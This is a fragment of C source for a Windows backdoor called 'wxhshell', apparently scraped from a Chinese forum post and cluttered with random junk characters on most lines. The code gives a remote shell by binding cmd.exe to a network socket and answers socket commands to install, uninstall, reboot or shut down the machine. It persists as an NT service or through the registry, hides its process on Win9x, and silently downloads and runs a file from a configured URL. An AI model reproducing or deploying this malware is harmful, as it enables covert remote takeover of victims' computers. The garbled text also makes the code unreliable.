  } M-K.[}}-d  
  // 安装 h1 y6`m9  
  case 'i': { L\:f#b~W  
    if(Install()) SGZ]_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fs43\m4= m  
    else ]~')OSjw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZPM,ZGlu:  
    break; o(2tRDT\_b  
    } FXAP]iqo  
  // 卸载 BIFuQ?j3  
  case 'r': { -w0U }Te^  
    if(Uninstall()) ))pp{X2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rk1B \L|M  
    else ^m3[mY [a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Cwzk{p(  
    break; oAMB}a;  
    } \Mujx3Fmvx  
  // 显示 wxhshell 所在路径 <@Lw '  
  case 'p': { (>E}{{>2r  
    char svExeFile[MAX_PATH]; L>,j*a_[  
    strcpy(svExeFile,"\n\r"); @YH<Hc  
      strcat(svExeFile,ExeFile); CL~21aslI  
        send(wsh,svExeFile,strlen(svExeFile),0); MzF9 &{N  
    break; ;AFF7N>&  
    } z%F68 f73  
  // 重启 LC!ZeW35  
  case 'b': { x vi&d1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C*S%aR  
    if(Boot(REBOOT)) YivWvV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ar+<n 2;[  
    else { ]>K02SVT:  
    closesocket(wsh); nA!Xb'y&  
    ExitThread(0); /(aKhUjhb  
    } 1j_x51p  
    break; rm-6Az V  
    } ^G(/;c*=  
  // 关机 ,P?R 3  
  case 'd': { ?89ZnH2/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vYYLn9}5  
    if(Boot(SHUTDOWN)) :6,qp?/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'-|]xx(  
    else { !k=>Wb8n2  
    closesocket(wsh); $U uSrX&  
    ExitThread(0); ]^='aQ  
    } dIOj]5H3F  
    break; a ]PS`  
    } ,| \62B`  
  // 获取shell wU\3"!^h  
  case 's': { WIe2j  
    CmdShell(wsh); U 0$?:C+?  
    closesocket(wsh); K?y!zy  
    ExitThread(0); wbC'SOM  
    break; %cWy0:F5VY  
  } [7QIpt+FSo  
  // 退出 M5SAlj  
  case 'x': { &"90pBGK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W6Os|z9&|  
    CloseIt(wsh); G8JwY\  
    break; HxC_n h  
    } '' @upZBJ  
  // 离开 8a\ Pjk  
  case 'q': { 8:BPXdiK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n ..9F$a  
    closesocket(wsh); [@Db7]nG  
    WSACleanup(); e[3 rz%'Q  
    exit(1); x*)@:W!  
    break; ~(TS>ck@  
        } w85PRruW  
  } -PHVM=:  
  } B:YUb{CJ  
zLG5m]G4D  
  // 提示信息 :Kc}R)6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q><E?  
} ]FJpe^ ua  
  } ^,Sl^ 9K  
n9J.]+@J  
  return; y.zS?vv2g  
} t=`bXBX1  
,{@,dw`lUz  
// shell模块句柄 ~%6GF57gC  
int CmdShell(SOCKET sock) Q%xvS,oI  
{ $/sQatic  
STARTUPINFO si; "}"Bvp^  
ZeroMemory(&si,sizeof(si)); cVzOW|NVx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mSWh'1]b.~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fbbk;Rq.'3  
PROCESS_INFORMATION ProcessInfo; x)X=sX.  
char cmdline[]="cmd"; eBD7g-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EDm,Y  
  return 0; kEM5eY  
} ,j4 ;:F  
-Oo7]8  
// 自身启动模式 G/F0 )M  
int StartFromService(void) }&Eb {'  
{ ))M; .b.D  
typedef struct -{ Ng6ntS  
{ FW)G5^Tf  
  DWORD ExitStatus; 49o5"M(  
  DWORD PebBaseAddress; \O"EK~x}/  
  DWORD AffinityMask; 7Y:~'&U|  
  DWORD BasePriority; a95QDz  
  ULONG UniqueProcessId; QR!8n  
  ULONG InheritedFromUniqueProcessId; bDLPA27  
}   PROCESS_BASIC_INFORMATION; }gE?ms4$  
oG! S(95  
PROCNTQSIP NtQueryInformationProcess; G22= 8V  
4v+4qyMyE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r^uo7?gZ^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Td&w  
^]He]FW':G  
  HANDLE             hProcess; R@=Bk(h  
  PROCESS_BASIC_INFORMATION pbi; XYbc1+C  
_)q,:g~fu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d7xd"  
  if(NULL == hInst ) return 0; 1D /{Y  
+U(m b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IxY%d}[uo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z/ "jLfP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *@'\4OO  
MQR@(>TZy  
  if (!NtQueryInformationProcess) return 0; 5feCA ,v7  
R3]Ra&h6N)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m6P!#=a:l<  
  if(!hProcess) return 0; 3P1OyB  
tHhA _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,q yp2Y7  
iJg3`1@j  
  CloseHandle(hProcess); :Mss"L820  
`TBI{q[y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `I.Uw$,P  
if(hProcess==NULL) return 0; * i[^-  
nw3CI&Y`  
HMODULE hMod; [XA  f=x  
char procName[255]; K0xZZ`  
unsigned long cbNeeded; kLKd O0  
ni#!Gxw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z}'*zB>  
ER:)Fk>_  
  CloseHandle(hProcess); 4Fr0/="H  
J4 yT|  
if(strstr(procName,"services")) return 1; // 以服务启动 v)(tB7&`=  
>$]SYF29  
  return 0; // 注册表启动 4_3 DQx9s  
} y0Pr[XZ  
i%7b)t[y  
// 主模块 gt5  
int StartWxhshell(LPSTR lpCmdLine) b??k|q  
{ f`X#1w9  
  SOCKET wsl; &xF 2!t`  
BOOL val=TRUE; dU]>  
  int port=0; !BHIp7p  
  struct sockaddr_in door; 7d0E9t;W  
Zy2@1-z6  
  if(wscfg.ws_autoins) Install(); N@UO8'"9K&  
75`*aAZ3  
port=atoi(lpCmdLine); ]k[y#oB  
pU`4bT(w%  
if(port<=0) port=wscfg.ws_port; yQ> *F  
%(`4wo},  
  WSADATA data; pb~&gliW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZbJUOa?WF  
N 3)OH6w"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pA9:1*+;;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pQaP9Y{OK  
  door.sin_family = AF_INET; i)V-q9\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PgZ~of&  
  door.sin_port = htons(port); U!sv6=(y@  
1]r+$L3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C'ZF#Z  
closesocket(wsl); !m"(SJn"  
return 1; Za{sT&(|  
} oLcOp.8h[  
L 6){wQ%c  
  if(listen(wsl,2) == INVALID_SOCKET) { hS4Ljyeg  
closesocket(wsl); "1rZwFI0l  
return 1; WP1>)  
} 8phc ekh+  
  Wxhshell(wsl); ;8UHnhk_O  
  WSACleanup(); ?U]/4]  
yi3@-  
return 0; @>'.F<:P<  
y: @[QhV  
} vVF#]t b|  
4*9y4"  
// 以NT服务方式启动 rm*Jo|eH`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9V&%_.Z  
{ N1ZHaZ  
DWORD   status = 0; F kas*79  
  DWORD   specificError = 0xfffffff; |y@TI  
I(E1ym  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2 @g'3M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C !81Km5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]@bo;.  
  serviceStatus.dwWin32ExitCode     = 0; jcF/5u5e  
  serviceStatus.dwServiceSpecificExitCode = 0; w U.K+4-k  
  serviceStatus.dwCheckPoint       = 0; Fl GKy9k  
  serviceStatus.dwWaitHint       = 0; vkan+~H  
fSdv%$;Hc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b'fj  
  if (hServiceStatusHandle==0) return; ?6@Y"5 z3g  
e[}R1/! L  
status = GetLastError(); ,R$n I*mf_  
  if (status!=NO_ERROR) Qz;2RELz  
{ >lqWni  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v/f&rK*>  
    serviceStatus.dwCheckPoint       = 0; 1c S{3  
    serviceStatus.dwWaitHint       = 0; z#b31;A@$  
    serviceStatus.dwWin32ExitCode     = status; _Tyj4t0ElV  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6C>x,kU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6o&{~SV3  
    return; FA\gz?h  
  } 9PEjV$0E2  
krm&.J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y;>0)eP  
  serviceStatus.dwCheckPoint       = 0; )K\w0sjR  
  serviceStatus.dwWaitHint       = 0; = wNul"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y[x9c0  
} NS "hdyA  
0V*L",9M  
// 处理NT服务事件,比如:启动、停止 zw^jIg$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^1U2&S  
{ }9e4?7  
switch(fdwControl) $53I%.  
{ r'fNQJ >  
case SERVICE_CONTROL_STOP: N4"%!.Y  
  serviceStatus.dwWin32ExitCode = 0; !8ub3oj)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =!r9;L,?  
  serviceStatus.dwCheckPoint   = 0; .EGZv (rz&  
  serviceStatus.dwWaitHint     = 0; EKf"e*|(L  
  { !G3O!]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 72} MspzUt  
  } [Z0&`qz  
  return; Ps0'WRJnx  
case SERVICE_CONTROL_PAUSE:  ' -[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d;|Pp;dc  
  break; $xmlt vaF  
case SERVICE_CONTROL_CONTINUE: @jg*L2L6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /AWV@ '  
  break; :*TfGV  
case SERVICE_CONTROL_INTERROGATE: xtN%v0ZZ  
  break; v]gJ 7x  
}; P5Ms X~mT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a;m-Vu!  
} yef@V2Z+  
`p9h$d  
// 标准应用程序主函数 d}%GHvOi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m6QlIdl  
{ yL&F!+(/Ix  
? e%Pvy<i  
// 获取操作系统版本 ZVEq{x1Zc  
OsIsNt=GetOsVer(); ]1rr$f9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RUm1;MWs  
9)s=%dL  
  // 从命令行安装 MsCY5g  
  if(strpbrk(lpCmdLine,"iI")) Install(); IX;u+B  
C/ow{MxA  
  // 下载执行文件 9f;\fe  
if(wscfg.ws_downexe) { ~:Dr]kt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q u2W  
  WinExec(wscfg.ws_filenam,SW_HIDE); QNzI  
} =dUeQ?>t=  
Ix ! O&_6s  
if(!OsIsNt) { Ra[{K@  
// 如果时win9x,隐藏进程并且设置为注册表启动 s CSrwsbhv  
HideProc(); U,Nf&g  
StartWxhshell(lpCmdLine); 'x lK_Z  
} 95>(NwST4  
else (F~i  
  if(StartFromService()) +mE y7qM  
  // 以服务方式启动 q( i|  
  StartServiceCtrlDispatcher(DispatchTable); 4dv+RRpGOv  
else HE. `  
  // 普通方式启动 +j&4[;8P:  
  StartWxhshell(lpCmdLine); FkR9-X<  
_!H{\kU  
return 0; =yOIP@  
}
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只看该作者 1 发表于: 2006-10-10
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